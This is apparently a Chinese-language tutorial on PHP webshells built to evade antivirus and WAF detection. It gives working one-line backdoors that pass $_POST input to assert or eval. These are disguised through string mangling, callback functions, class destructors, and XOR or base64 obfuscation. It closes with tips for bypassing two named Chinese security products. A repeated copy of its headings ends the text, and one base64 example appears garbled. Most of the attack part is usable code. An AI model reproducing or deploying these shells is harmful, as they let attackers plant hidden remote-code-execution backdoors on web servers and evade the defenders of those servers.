对于php免杀webshell的一些总结
字数 616 2025-08-26 22:11:45

PHP免杀Webshell技术总结

0x01 前言

本文全面总结PHP Webshell免杀技术,帮助安全研究人员掌握有效的Webshell绕过技巧。

0x02 关于eval与assert函数

eval函数特性

  • 是语言构造器而非函数
  • 不能被可变函数调用
  • 在PHP7.1+仍可使用
// 错误示例 - eval不能作为可变函数
$a = eval;
$a(); // 无法执行

assert函数特性

  • 是函数而非语言构造器
  • 可被可变函数调用
  • PHP7.1+已被弃用
$a = assert;
$a($_POST['x']); // PHP7.1以下可执行

0x03 字符串变形技术

利用PHP字符串函数对关键词进行变形:

// 常用字符串函数
ucwords()  // 单词首字母大写
ucfirst()  // 字符串首字母大写
trim()     // 去除两端空白
substr_replace() // 替换字符串部分
substr()   // 返回字符串部分
strtr()    // 转换特定字符
strtoupper() // 转大写
strtolower() // 转小写
strtok()   // 分割字符串
str_rot13() // ROT13编码

变形示例

$a = substr_replace("assexx","rt",4); // assert
$a($_POST['x']);

0x04 定义函数绕过

基本函数定义

function kdog($a){
    $a($_POST['x']);
}
kdog(assert);

反向函数定义

function kdog($a){
    assert($a);
}
kdog($_POST[x]);

0x05 回调函数技术

常见回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk() 
array_map()
register_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk_recursive()

生僻回调函数示例

forward_static_call_array(assert,array($_POST[x]));

回调函数变形

function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));

类中回调

class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
        array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();

0x06 特殊字符干扰

连接符干扰

$a = $_POST['a'];
$b = "\n";
eval($b.=$a);

命名空间干扰

function dog($a){
    \assert($a);
}
dog($_POST[x]);

0x07 数组技术

一维数组

$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];

多维数组

$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));

0x08 类与魔术方法

class me{
    public $a = '';
    function __destruct(){
        assert("$this->a");
    }
}
$b = new me;
$b->a = $_POST['x'];

0x09 编码绕过技术

Base64变形

$a = base64_decode("YXNz+ZX____J____0"); // assert
$a($_POST[x]);

异或编码

$a=('!'^'@').('('^'@').('('^'@').')'^'@').('*'^'@'); // assert
$a($_POST[x]);

0x0A 无特征Webshell

特殊字符构造

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // assert
$_($_POST[_]);

参数后传入

$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);

0x0B PHP7.1+的Webshell

  • 避免使用assert函数
  • 转向eval和特殊调用方式
  • 更注重字符干扰和编码技术
  • 大马使用增加

0x0C 总结

  1. 安全狗:主要"杀形",可通过字符串变形绕过
  2. D盾:主要"杀参",可通过参数后传入绕过
  3. 通用建议
    • 使用生僻回调函数
    • 采用特殊加密方式
    • 关键参数后传入
    • 自定义加密传输数据

未来Webshell发展方向:

  • 高度自定义化
  • 客户端加密传输
  • 服务端解密执行
  • 对抗现有WAF检测能力
PHP免杀Webshell技术总结 0x01 前言 本文全面总结PHP Webshell免杀技术,帮助安全研究人员掌握有效的Webshell绕过技巧。 0x02 关于eval与assert函数 eval函数特性 是语言构造器而非函数 不能被可变函数调用 在PHP7.1+仍可使用 assert函数特性 是函数而非语言构造器 可被可变函数调用 PHP7.1+已被弃用 0x03 字符串变形技术 利用PHP字符串函数对关键词进行变形: 变形示例 0x04 定义函数绕过 基本函数定义 反向函数定义 0x05 回调函数技术 常见回调函数 生僻回调函数示例 回调函数变形 类中回调 0x06 特殊字符干扰 连接符干扰 命名空间干扰 0x07 数组技术 一维数组 多维数组 0x08 类与魔术方法 0x09 编码绕过技术 Base64变形 异或编码 0x0A 无特征Webshell 特殊字符构造 参数后传入 0x0B PHP7.1+的Webshell 避免使用assert函数 转向eval和特殊调用方式 更注重字符干扰和编码技术 大马使用增加 0x0C 总结 安全狗 :主要"杀形",可通过字符串变形绕过 D盾 :主要"杀参",可通过参数后传入绕过 通用建议 : 使用生僻回调函数 采用特殊加密方式 关键参数后传入 自定义加密传输数据 未来Webshell发展方向: 高度自定义化 客户端加密传输 服务端解密执行 对抗现有WAF检测能力